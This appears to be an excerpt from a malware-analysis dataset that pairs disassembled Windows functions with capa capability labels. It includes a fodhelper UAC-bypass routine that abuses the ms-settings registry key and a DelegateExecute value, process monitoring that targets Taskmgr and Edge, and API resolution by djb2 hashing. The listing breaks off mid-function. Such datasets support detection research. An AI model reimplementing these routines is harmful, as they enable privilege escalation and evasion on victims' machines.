joyce8/EMBER2024-capa huggingface dataset:
Function at 0x6f8413b0
Capabilities:
Enumerate processes

Disassembly:
push rbp
sub rsp, 0x160
lea rbp, [rsp + 0x80]
mov edx, 0
mov ecx, 2
call sym.CreateToolhelp32Snapshot
mov qword [rbp + 0xd8], rax
cmp qword [rbp + 0xd8], 0xffffffffffffffff
jne 0x6f8413ea
mov eax, 0
jmp 0x6f841470
mov dword [rbp - 0x60], 0x130
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0xd8]
mov rcx, rax
call sym.Process32First
test eax, eax
je 0x6f841458
lea rax, [rbp - 0x60]
add rax, 0x2c
lea rdx, str.Taskmgr.exe
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll__stricmp]
call rax
test eax, eax
jne 0x6f841441
mov rax, qword [rbp + 0xd8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 1
jmp 0x6f841470
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0xd8]
mov rcx, rax
call sym.Process32Next
test eax, eax
jne 0x6f841408
mov rax, qword [rbp + 0xd8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0
add rsp, 0x160
pop rbp
ret

Function at 0x6f841479
Capabilities:
Enumerate processes

Disassembly:
push rbp
sub rsp, 0x160
lea rbp, [rsp + 0x80]
mov edx, 0
mov ecx, 2
call sym.CreateToolhelp32Snapshot
mov qword [rbp + 0xd8], rax
cmp qword [rbp + 0xd8], 0xffffffffffffffff
jne 0x6f8414b3
mov eax, 0
jmp 0x6f841539
mov dword [rbp - 0x60], 0x130
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0xd8]
mov rcx, rax
call sym.Process32First
test eax, eax
je 0x6f841521
lea rax, [rbp - 0x60]
add rax, 0x2c
lea rdx, str.Microsoft_Edge.exe
mov rcx, rax
mov rax, qword [sym.imp.msvcrt.dll__stricmp]
call rax
test eax, eax
jne 0x6f84150a
mov rax, qword [rbp + 0xd8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 1
jmp 0x6f841539
lea rdx, [rbp - 0x60]
mov rax, qword [rbp + 0xd8]
mov rcx, rax
call sym.Process32Next
test eax, eax
jne 0x6f8414d1
mov rax, qword [rbp + 0xd8]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_CloseHandle]
call rax
mov eax, 0
add rsp, 0x160
pop rbp
ret

Function at 0x6f841590
Capabilities:
Create thread

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x30
mov qword [rbp + 0x10], rcx
mov dword [rbp + 0x18], edx
mov qword [rbp + 0x20], r8
cmp dword [rbp + 0x18], 1
je 0x6f8415b7
cmp dword [rbp + 0x18], 0
je 0x6f8415ea
cmp dword [rbp + 0x18], 3
ja 0x6f8415eb
jmp 0x6f8415ea
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
mov r9d, 0
lea r8, [sym.inject.dll_MonitorTaskmgr]
mov edx, 0
mov ecx, 0
mov rax, qword [sym.imp.KERNEL32.dll_CreateThread]
call rax
jmp 0x6f8415eb
nop
mov eax, 1
add rsp, 0x30
pop rbp
ret
Function at 0x6f841632
Capabilities:
Create process on windows
Get common file path
Persist via default file association registry key
Query environment variable
Self delete
Set registry value
Terminate process

Disassembly:
push rbp
sub rsp, 0x2d0
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x260], rcx
lea rax, [rbp + 0x140]
mov rdx, rax
mov ecx, 0x104
mov rax, qword [sym.imp.KERNEL32.dll_GetTempPathA]
call rax
lea rax, [rbp + 0x140]
mov rdx, qword [rbp + 0x260]
mov rcx, rax
call sym.strcat
lea rcx, str.SYSTEMROOT
call sym.getenv
mov rdx, rax
lea rax, [rbp + 0x30]
mov r8, rdx
lea rdx, str._sSystem32_fodhelper.exe
mov rcx, rax
call sym.sprintf
call sym.inject.dll_RegDelnode
test eax, eax
je 0x6f8417d7
lea rax, [rbp + 0x28]
mov r8, rax
lea rdx, str.SoftwareClassesms_settingsShellOpencommand
mov rcx, 0xffffffff80000001
mov rax, qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
call rax
test eax, eax
jne 0x6f8417da
lea rax, [rbp + 0x140]
mov rcx, rax
call sym.strlen
mov edx, eax
mov rax, qword [rbp + 0x28]
mov dword [rsp + 0x28], edx
lea rdx, [rbp + 0x140]
mov qword [rsp + 0x20], rdx
mov r9d, 1
mov r8d, 0
lea rdx, [0x6f8440b8]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call rax
mov rax, qword [rbp + 0x28]
mov dword [rsp + 0x28], 0
lea rdx, [0x6f8440b8]
mov qword [rsp + 0x20], rdx
mov r9d, 1
mov r8d, 0
lea rdx, str.DelegateExecute
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
call rax
lea rax, [rbp - 0x50]
mov r8d, 0x70
mov edx, 0
mov rcx, rax
call sym.memset
mov dword [rbp - 0x50], 0x70
mov dword [rbp - 0x4c], 0x40
lea rax, str.open
mov qword [rbp - 0x40], rax
lea rax, [rbp + 0x30]
mov qword [rbp - 0x38], rax
mov dword [rbp - 0x20], 0
lea rax, [rbp - 0x50]
mov rcx, rax
mov rax, qword [sym.imp.SHELL32.dll_ShellExecuteExA]
call rax
test eax, eax
je 0x6f8417c0
mov ecx, 0x1388
mov rax, qword [sym.imp.KERNEL32.dll_Sleep]
call rax
mov rax, qword [rbp + 0x18]
mov edx, 0
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_TerminateProcess]
call rax
mov rax, qword [rbp + 0x28]
mov rcx, rax
mov rax, qword [sym.imp.ADVAPI32.dll_RegCloseKey]
call rax
call sym.inject.dll_RegDelnode
jmp 0x6f8417db
nop
jmp 0x6f8417db
nop
add rsp, 0x2d0
pop rbp
ret
Function at 0x6f841bd0
Capabilities:
Allocate or change rwx memory

Disassembly:
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x50
movsxd rsi, dword [0x6f8475e4]
mov rbx, rcx
mov rbp, rdx
mov rdi, r8
test esi, esi
jle 0x6f841d84
mov rax, qword [0x6f8475e8]
xor ecx, ecx
add rax, 0x18
nop
mov rdx, qword [rax]
cmp rbx, rdx
jb 0x6f841c1c
mov r8, qword [rax + 8]
mov r8d, dword [r8 + 8]
add rdx, r8
cmp rbx, rdx
jb 0x6f841ca9
add ecx, 1
add rax, 0x28
cmp ecx, esi
jne 0x6f841c00
mov rcx, rbx
call dbg.__mingw_GetSectionForAddress
test rax, rax
mov r12, rax
je 0x6f841db9
mov rax, qword [0x6f8475e8]
lea rsi, [rsi + rsi*4]
shl rsi, 3
add rax, rsi
mov qword [rax + 0x20], r12
mov dword [rax], 0
call dbg._GetPEImageBase
mov ecx, dword [r12 + 0xc]
lea rdx, [rsp + 0x20]
mov r8d, 0x30
add rcx, rax
mov rax, qword [0x6f8475e8]
mov qword [rax + rsi + 0x18], rcx
call qword [sym.imp.KERNEL32.dll_VirtualQuery]
test rax, rax
je 0x6f841d9c
mov eax, dword [rsp + 0x44]
lea edx, [rax - 4]
and edx, 0xfffffffb
je 0x6f841ca2
sub eax, 0x40
and eax, 0xffffffbf
jne 0x6f841d24
add dword [0x6f8475e4], 1
cmp edi, 8
jae 0x6f841ce0
test dil, 4
jne 0x6f841d70
test edi, edi
je 0x6f841ccc
movzx eax, byte [rbp]
test dil, 2
mov byte [rbx], al
jne 0x6f841d8b
add rsp, 0x50
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
ret
mov rax, qword [rbp]
mov qword [rbx], rax
mov eax, edi
mov rdx, qword [rbp + rax - 8]
mov qword [rbx + rax - 8], rdx
lea rax, [rbx + 8]
and rax, 0xfffffffffffffff8
sub rbx, rax
sub rbp, rbx
add ebx, edi
and ebx, 0xfffffff8
cmp ebx, 8
jb 0x6f841ccc
and ebx, 0xfffffff8
xor edx, edx
mov ecx, edx
add edx, 8
mov r8, qword [rbp + rcx]
cmp edx, ebx
mov qword [rax + rcx], r8
jb 0x6f841d10
jmp 0x6f841ccc
add rsi, qword [0x6f8475e8]
mov rcx, qword [rsp + 0x20]
mov r8d, 0x40
mov rdx, qword [rsp + 0x38]
mov r9, rsi
mov qword [rsi + 8], rcx
mov qword [rsi + 0x10], rdx
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x6f841ca2
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea rcx, str.__VirtualProtect_failed_with_code_0x_x
mov edx, eax
call dbg.__report_error
nop dword [rax + rax]
mov eax, dword [rbp]
mov edi, edi
mov dword [rbx], eax
mov eax, dword [rbp + rdi - 4]
mov dword [rbx + rdi - 4], eax
jmp 0x6f841ccc
xor esi, esi
jmp 0x6f841c27
mov edi, edi
movzx eax, word [rbp + rdi - 2]
mov word [rbx + rdi - 2], ax
jmp 0x6f841ccc
mov rax, qword [0x6f8475e8]
mov edx, dword [r12 + 8]
lea rcx, str.__VirtualQuery_failed_for__d_bytes_at_address__p
mov r8, qword [rax + rsi + 0x18]
call dbg.__report_error
lea rcx, str.Address__p_has_no_image_section
mov rdx, rbx
call dbg.__report_error
nop
nop dword [rax]
Function at 0x6f842510
Capabilities:
Get thread local storage value

Disassembly:
push rbp
push rdi
push rsi
push rbx
sub rsp, 0x28
lea rcx, [0x6f8478c0]
call qword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov rbx, qword [0x6f8478a0]
test rbx, rbx
je 0x6f842564
mov rbp, qword [sym.imp.KERNEL32.dll_TlsGetValue]
mov rdi, qword [sym.imp.KERNEL32.dll_GetLastError]
nop
mov ecx, dword [rbx]
call rbp
mov rsi, rax
call rdi
test eax, eax
jne 0x6f84255b
test rsi, rsi
je 0x6f84255b
mov rax, qword [rbx + 8]
mov rcx, rsi
call rax
mov rbx, qword [rbx + 0x10]
test rbx, rbx
jne 0x6f842540
lea rcx, [0x6f8478c0]
add rsp, 0x28
pop rbx
pop rsi
pop rdi
pop rbp
jmp qword [sym.imp.KERNEL32.dll_LeaveCriticalSection]

Function at 0x6f8427a0
Capabilities:
Parse pe header

Disassembly:
cmp word [rcx], 0x5a4d
je 0x6f8427b0
xor eax, eax
ret
jmp sym._ValidateImageBase.part.0

Function at 0x6f8427c0
Capabilities:
Enumerate pe sections

Disassembly:
movsxd rax, dword [rcx + 0x3c]
add rcx, rax
movzx eax, word [rcx + 0x14]
lea rax, [rcx + rax + 0x18]
movzx ecx, word [rcx + 6]
test ecx, ecx
je 0x6f842801
sub ecx, 1
lea rcx, [rcx + rcx*4]
lea r9, [rax + rcx*8 + 0x28]
mov r8d, dword [rax + 0xc]
cmp r8, rdx
mov rcx, r8
ja 0x6f8427f8
add ecx, dword [rax + 8]
cmp rcx, rdx
ja 0x6f842803
add rax, 0x28
cmp rax, r9
jne 0x6f8427e4
xor eax, eax
ret

Function at 0x6f8428a0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x6f8442b0]
mov rdx, rcx
cmp word [r8], 0x5a4d
jne 0x6f84290d
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x6f84290d
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x6f84290d
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x6f842904
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x6f84290f
add rax, 0x28
cmp rax, r9
jne 0x6f8428f0
xor eax, eax
add rsp, 0x28
ret

Function at 0x6f842a10
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r8, qword [0x6f8442b0]
xor eax, eax
mov rdx, rcx
cmp word [r8], 0x5a4d
je 0x6f842a30
add rsp, 0x28
ret
mov rcx, r8
call sym._ValidateImageBase.part.0
test eax, eax
je 0x6f842a28
movsxd rax, dword [r8 + 0x3c]
mov rcx, rdx
sub rcx, r8
add r8, rax
movzx edx, word [r8 + 6]
movzx eax, word [r8 + 0x14]
test edx, edx
lea rax, [r8 + rax + 0x18]
je 0x6f842a8d
sub edx, 1
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop dword [rax + rax]
mov r8d, dword [rax + 0xc]
cmp rcx, r8
mov rdx, r8
jb 0x6f842a84
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x6f842a94
add rax, 0x28
cmp rax, r9
jne 0x6f842a70
xor eax, eax
add rsp, 0x28
ret
mov eax, dword [rax + 0x24]
not eax
shr eax, 0x1f
add rsp, 0x28
ret
Function at 0x6f842ab0
Capabilities:
Enumerate pe sections

Disassembly:
sub rsp, 0x28
mov r11, qword [0x6f8442b0]
mov r9d, ecx
cmp word [r11], 0x5a4d
jne 0x6f842b1e
mov rcx, r11
call sym._ValidateImageBase.part.0
test eax, eax
je 0x6f842b1e
movsxd rax, dword [r11 + 0x3c]
add rax, r11
mov edx, dword [rax + 0x90]
test edx, edx
je 0x6f842b1e
movzx ecx, word [rax + 0x14]
lea rcx, [rax + rcx + 0x18]
movzx eax, word [rax + 6]
test eax, eax
je 0x6f842b1e
sub eax, 1
lea rax, [rax + rax*4]
lea rax, [rcx + rax*8 + 0x28]
mov r10d, dword [rcx + 0xc]
cmp rdx, r10
mov r8, r10
jb 0x6f842b15
add r8d, dword [rcx + 8]
cmp rdx, r8
jb 0x6f842b25
add rcx, 0x28
cmp rcx, rax
jne 0x6f842b00
xor eax, eax
add rsp, 0x28
ret
add rdx, r11
jne 0x6f842b38
jmp 0x6f842b1e
sub r9d, 1
add rdx, 0x14
mov ecx, dword [rdx + 4]
test ecx, ecx
jne 0x6f842b46
mov eax, dword [rdx + 0xc]
test eax, eax
je 0x6f842b1e
test r9d, r9d
jg 0x6f842b30
mov eax, dword [rdx + 0xc]
add rax, r11
add rsp, 0x28
ret

Function at 0x6f842ec0
Capabilities:
Write file on windows

Disassembly:
push rsi
push rbx
sub rsp, 0x38
lea rax, [rsp + 0x58]
mov rbx, rcx
mov ecx, 2
mov qword [rsp + 0x58], rdx
mov qword [rsp + 0x60], r8
mov qword [rsp + 0x68], r9
mov qword [rsp + 0x28], rax
call dbg.__acrt_iob_func
lea rcx, str.Mingw_w64_runtime_failure:_n
mov r9, rax
mov r8d, 0x1b
mov edx, 1
call sym.fwrite
mov rsi, qword [rsp + 0x28]
mov ecx, 2
call dbg.__acrt_iob_func
mov rdx, rbx
mov rcx, rax
mov r8, rsi
call sym.vfprintf
call sym.abort
nop
nop
nop
nop
nop
nop
nop
nop
Function at 0x14000106b
Capabilities:
Hash data using djb2

Disassembly:
push rsi
push rdi
push rax
mov rax, qword gs:[0x60]
test rax, rax
je 0x1400010f0
mov rdx, qword [rax + 0x18]
test rdx, rdx
je 0x1400010f0
add rdx, 0x10
mov rdx, qword [rdx]
mov rax, qword [rdx + 0x30]
test rax, rax
je 0x1400010f0
movzx r8d, word [rdx + 0x58]
test r8, r8
je 0x1400010e3
mov r10, qword [rdx + 0x60]
mov r9d, 0x1505
xor r11d, r11d
mov sil, byte [r10 + r11]
test sil, sil
jne 0x1400010bf
inc r11
cmp r11, r8
jb 0x1400010ac
jmp 0x1400010e9
lea edi, [rsi - 0x20]
cmp sil, 0x61
movzx esi, sil
movzx edi, dil
cmovb edi, esi
mov esi, r9d
shl esi, 5
add esi, r9d
movzx r9d, dil
add r9d, esi
jmp 0x1400010b5
mov r9d, 0x1505
cmp r9d, ecx
jne 0x140001089
jmp 0x1400010f2
xor eax, eax
add rsp, 8
pop rdi
pop rsi
ret

Function at 0x1400010f9
Capabilities:
Hash data using djb2
Parse pe header
Resolve function by parsing pe exports

Disassembly:
push r15
push r14
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x20
movzx eax, word [rcx]
cmp eax, 0x5a4d
jne 0x1400011bc
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x1400011bc
mov eax, dword [rcx + rax + 0x88]
mov r8d, dword [rcx + rax + 0x14]
mov r9d, dword [rcx + rax + 0x1c]
mov r10d, dword [rcx + rax + 0x20]
add r10, rcx
add r9, rcx
mov r11d, dword [rcx + rax + 0x24]
add r11, rcx
xor eax, eax
xor edi, edi
cmp rdi, r8
je 0x1400011be
mov rsi, rdi
mov edi, dword [r10 + rdi*4]
add rdi, rcx
mov r14, rdi
mov rbx, r14
inc r14
cmp byte [rbx], 0
jne 0x140001160
mov ebp, 0x1505
sub rbx, rdi
jne 0x14000117f
lea rdi, [rsi + 1]
cmp ebp, edx
jne 0x14000114e
jmp 0x1400011cd
xor r14d, r14d
mov r15b, byte [rdi + r14]
test r15b, r15b
jne 0x140001195
inc r14
cmp r14, rbx
jb 0x140001182
jmp 0x140001175
lea r12d, [r15 - 0x20]
cmp r15b, 0x61
movzx r15d, r15b
movzx r12d, r12b
cmovb r12d, r15d
mov r15d, ebp
shl r15d, 5
add r15d, ebp
movzx ebp, r12b
add ebp, r15d
jmp 0x14000118b
xor eax, eax
add rsp, 0x20
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
movzx eax, word [r11 + rsi*2]
cmp r8, rax
jbe 0x1400011e3
mov eax, dword [r9 + rax*4]
add rcx, rax
mov rax, rcx
jmp 0x1400011be
mov rcx, rax
mov rdx, r8
call fcn.1400050a0
int3
Function at 0x140001fdb
Capabilities:
Encode data using xor

Disassembly:
push rsi
push rdi
push rbx
mov rax, qword [rdx + 0x10]
mov r8, qword [rdx]
mov r10, qword [rdx + 8]
mov r9, qword [rdx + 0x18]
sub r9, r10
je 0x14000200f
mov r11, qword [rdx + 0x20]
xor esi, esi
mov bl, byte [r11]
xor bl, byte [r10 + rsi]
mov byte [r8 + rsi], bl
lea rdi, [rsi + 1]
mov rsi, rdi
cmp r9, rdi
jne 0x140001ff8
mov qword [rdx + 0x10], 0
mov r10d, 1
mov qword [rdx], r10
mov qword [rdx + 8], r10
mov qword [rdx + 0x18], r10
mov qword [rcx], rax
mov qword [rcx + 8], r8
mov qword [rcx + 0x10], r9
mov ecx, 1
xor edx, edx
pop rbx
pop rdi
pop rsi
jmp 0x140002330
test rdx, rdx
jne fcn.1400036e6
ret
Function at 0x140008930
Capabilities:
Get geographical location
Get keyboard layout

Disassembly:
mov qword [rsp + 0x18], rbp
push rsi
sub rsp, 0x70
mov rax, qword [0x140190040]
xor rax, rsp
mov qword [rsp + 0x68], rax
mov rsi, qword [0x140190fd0]
mov rbp, rcx
lea rcx, [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
test eax, eax
je 0x140008b4e
lea rcx, [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
test eax, eax
je 0x140008b4e
mov qword [rsp + 0x80], rbx
mov ecx, 0x50
mov qword [rsp + 0x88], rdi
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r8, qword [0x140190fd0]
xor ebx, ebx
mov rdi, rax
test r8, r8
je 0x140008a04
movsx rdx, word [r8 + 0x68d8]
lea rax, [r8 + 0x68dc]
mov r9d, dword [r8 + 0x3f70]
lea rax, [rax + rdx*8]
cmp dword [rax], r9d
je 0x1400089f9
lea ecx, [rdx + 1]
mov eax, 0x2aaaaaab
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
add eax, eax
sub ecx, eax
mov word [r8 + 0x68d8], cx
movsx rax, cx
lea rax, [rax*8 + 0x68dc]
add rax, r8
mov dword [rax], r9d
mov dword [rax + 4], ebx
inc word [rax + 4]
inc dword [r8 + 0x68d0]
test rdi, rdi
je 0x140008a21
xorps xmm0, xmm0
movups xmmword [rdi], xmm0
movups xmmword [rdi + 0x10], xmm0
movups xmmword [rdi + 0x20], xmm0
movups xmmword [rdi + 0x30], xmm0
movups xmmword [rdi + 0x40], xmm0
jmp 0x140008a24
mov rdi, rbx
or dword [rsi + 0xc], 6
lea rax, [0x140079dc8]
mov qword [rsi + 0x80], rax
mov qword [rsi + 0x90], rdi
mov qword [rdi], rbp
mov rax, qword [rsp + 0x58]
mov qword [rdi + 0x20], rax
mov rax, qword [rsp + 0x60]
mov qword [rdi + 0x18], rax
mov dword [rdi + 0x28], 9
test r8, r8
je 0x140008a67
mov rsi, qword [r8 + 0x90]
jmp 0x140008a6a
mov rsi, rbx
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetKeyboardLayout]
shr rax, 0x10
mov r9d, 4
movzx ecx, ax
lea r8, [rsi + 0x2c]
mov edx, 0x20001004
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
test eax, eax
jne 0x140008a95
mov dword [rsi + 0x2c], ebx
mov rax, qword [0x140190fd0]
mov rcx, qword [rax + 0x4b28]
mov rax, qword [rcx]
mov qword [rax + 0x28], rbp
lea rax, str.xinput1_4.dll
mov qword [rsp + 0x30], rax
lea rax, str.xinput1_3.dll
mov qword [rsp + 0x38], rax
lea rax, str.xinput9_1_0.dll
mov qword [rsp + 0x40], rax
lea rax, str.xinput1_2.dll
mov qword [rsp + 0x48], rax
lea rax, str.xinput1_1.dll
mov qword [rsp + 0x50], rax
mov byte [rdi + 0x31], 1
nop word [rax + rax]
mov rcx, qword [rsp + rbx*8 + 0x30]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rsi, rax
test rax, rax
jne 0x140008b0e
inc rbx
cmp rbx, 5
jl 0x140008af0
jmp 0x140008b3a
lea rdx, str.XInputGetCapabilities
mov qword [rdi + 0x38], rsi
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
lea rdx, str.XInputGetState
mov rcx, rsi
mov qword [rdi + 0x40], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [rdi + 0x48], rax
mov rdi, qword [rsp + 0x88]
mov al, 1
mov rbx, qword [rsp + 0x80]
jmp 0x140008b50
xor al, al
mov rcx, qword [rsp + 0x68]
xor rcx, rsp
call fcn.1400593d0
mov rbp, qword [rsp + 0x90]
add rsp, 0x70
pop rsi
ret
Function at 0x14000d060
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
mov r11d, r8d
mov r10, rdx
not r11d
mov r9, rcx
mov eax, r11d
test rdx, rdx
je 0x14000d0bd
lea rbx, [0x14007b340]
movzx r8d, byte [r9]
lea r9, [r9 + 1]
dec r10
cmp r8b, 0x23
jne 0x14000d0a4
cmp r10, 2
jb 0x14000d0a4
cmp byte [r9], r8b
jne 0x14000d0a4
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
xor rdx, r8
shr eax, 8
xor eax, dword [rbx + rdx*4]
test r10, r10
jne 0x14000d080
not eax
mov rbx, qword [rsp + 8]
ret
movzx r8d, byte [rcx]
inc r9
test r8b, r8b
je 0x14000d0ff
lea rbx, [0x14007b340]
cmp r8b, 0x23
jne 0x14000d0e3
cmp byte [r9], r8b
jne 0x14000d0e3
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
movzx ecx, r8b
movzx r8d, byte [r9]
xor rdx, rcx
shr eax, 8
inc r9
xor eax, dword [rbx + rdx*4]
test r8b, r8b
jne 0x14000d0d0
mov rbx, qword [rsp + 8]
not eax
ret

Function at 0x14000d2c0
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push r14
sub rsp, 0x20
xor r14d, r14d
mov rsi, r8
test r8, r8
je 0x14000d2de
mov qword [r8], r14
lea rdx, [0x14007ae50]
call fcn.14000d110
mov rbx, rax
test rax, rax
jne 0x14000d303
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
mov qword [rsp + 0x30], rbp
mov rcx, rbx
mov qword [rsp + 0x38], rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
mov ebp, eax
cmp eax, 0xffffffff
je 0x14000d42f
xor edx, edx
mov r8d, 2
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x14000d42f
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
movsxd rdi, eax
cmp edi, 0xffffffff
je 0x14000d42f
xor r8d, r8d
mov edx, ebp
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x14000d42f
cmp rdi, 0xffffffffffffffff
je 0x14000d42f
mov rcx, rdi
call fcn.1400111a0
mov rbp, rax
test rax, rax
je 0x14000d42f
mov r9, rbx
mov r8, rdi
mov edx, 1
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov rcx, rbx
cmp rax, rdi
je 0x14000d41c
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov r8, qword [0x140190fd0]
test r8, r8
je 0x14000d411
movsx rdx, word [r8 + 0x68d8]
lea rcx, [r8 + 0x68dc]
mov r9d, dword [r8 + 0x3f70]
lea rcx, [rcx + rdx*8]
cmp dword [rcx], r9d
je 0x14000d406
lea ecx, [rdx + 1]
mov eax, 0x2aaaaaab
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
add eax, eax
sub ecx, eax
mov word [r8 + 0x68d8], cx
movsx rax, cx
lea rcx, [r8 + 0x68dc]
lea rcx, [rcx + rax*8]
mov dword [rcx], r9d
mov dword [rcx + 4], r14d
inc word [rcx + 6]
inc dword [r8 + 0x68d4]
mov rcx, rbp
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
jmp 0x14000d438
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
test rsi, rsi
je 0x14000d42a
mov qword [rsi], rdi
mov rax, rbp
jmp 0x14000d43a
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
xor eax, eax
mov rbp, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
Function at 0x14001ade0
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 0x18], rbx
push rdi
sub rsp, 0x20
mov r11, rcx
lea rdi, [0x14007b340]
movsxd rcx, dword [rcx + 0x100]
mov r10d, edx
shr r10d, 0x18
mov r8d, edx
shr r8d, 8
mov r9d, edx
mov rax, qword [r11 + 0x108]
shr r9d, 0x10
mov ebx, dword [rax + rcx*4 - 4]
not ebx
movzx eax, dl
movzx ecx, bl
xor rcx, rax
shr ebx, 8
movzx eax, r8b
xor ebx, dword [rdi + rcx*4]
movzx ecx, bl
xor rcx, rax
shr ebx, 8
movzx eax, r9b
xor ebx, dword [rdi + rcx*4]
movzx ecx, bl
xor rcx, rax
shr ebx, 8
xor ebx, dword [rdi + rcx*4]
movzx ecx, bl
xor rcx, r10
shr ebx, 8
xor ebx, dword [rdi + rcx*4]
mov rcx, qword [r11]
not ebx
cmp dword [rcx + 0x4064], ebx
jne 0x14001ae74
movsxd r8, edx
mov ecx, ebx
mov edx, 4
call fcn.1400259a0
mov eax, ebx
mov rbx, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret

Function at 0x14001ae90
Capabilities:
Hash data with crc32

Disassembly:
sub rsp, 0x18
movss xmm0, dword [rcx + 0x120]
lea r10, [0x14007b340]
mov rax, qword [rcx + 0x108]
movss xmm1, dword [rcx + 0x124]
movss xmm2, dword [rdx]
movss xmm4, dword [rdx + 8]
subss xmm2, xmm0
movss xmm3, dword [rdx + 4]
subss xmm4, xmm0
movss xmm0, dword [rdx + 0xc]
subss xmm3, xmm1
movsxd rcx, dword [rcx + 0x100]
subss xmm0, xmm1
movd r8d, xmm2
movss dword [rsp], xmm2
mov r9d, dword [rax + rcx*4 - 4]
movzx eax, byte [rsp]
not r9d
movzx ecx, r9b
xor rcx, rax
shr r9d, 8
mov eax, r8d
movss dword [rsp + 4], xmm3
shr eax, 8
movzx edx, al
mov eax, r8d
xor r9d, dword [r10 + rcx*4]
movzx ecx, r9b
xor rdx, rcx
shr r9d, 8
shr eax, 0x10
movss dword [rsp + 8], xmm4
movss dword [rsp + 0xc], xmm0
xor r9d, dword [r10 + rdx*4]
movzx ecx, r9b
shr r9d, 8
movzx edx, al
movzx eax, byte [rsp + 4]
xor rdx, rcx
xor r9d, dword [r10 + rdx*4]
movzx ecx, r9b
shr r9d, 8
mov edx, r8d
shr rdx, 0x18
xor rdx, rcx
movd r8d, xmm3
xor r9d, dword [r10 + rdx*4]
movzx ecx, r9b
xor rcx, rax
shr r9d, 8
mov eax, r8d
shr eax, 8
movzx edx, al
mov eax, r8d
xor r9d, dword [r10 + rcx*4]
movzx ecx, r9b
xor rdx, rcx
shr r9d, 8
shr eax, 0x10
xor r9d, dword [r10 + rdx*4]
movzx ecx, r9b
shr r9d, 8
movzx edx, al
movzx eax, byte [rsp + 8]
xor rdx, rcx
xor r9d, dword [r10 + rdx*4]
movzx ecx, r9b
shr r9d, 8
mov edx, r8d
shr rdx, 0x18
xor rdx, rcx
movd r8d, xmm4
xor r9d, dword [r10 + rdx*4]
movzx ecx, r9b
xor rcx, rax
shr r9d, 8
mov eax, r8d
xor r9d, dword [r10 + rcx*4]
shr eax, 8
movzx edx, al
movzx ecx, r9b
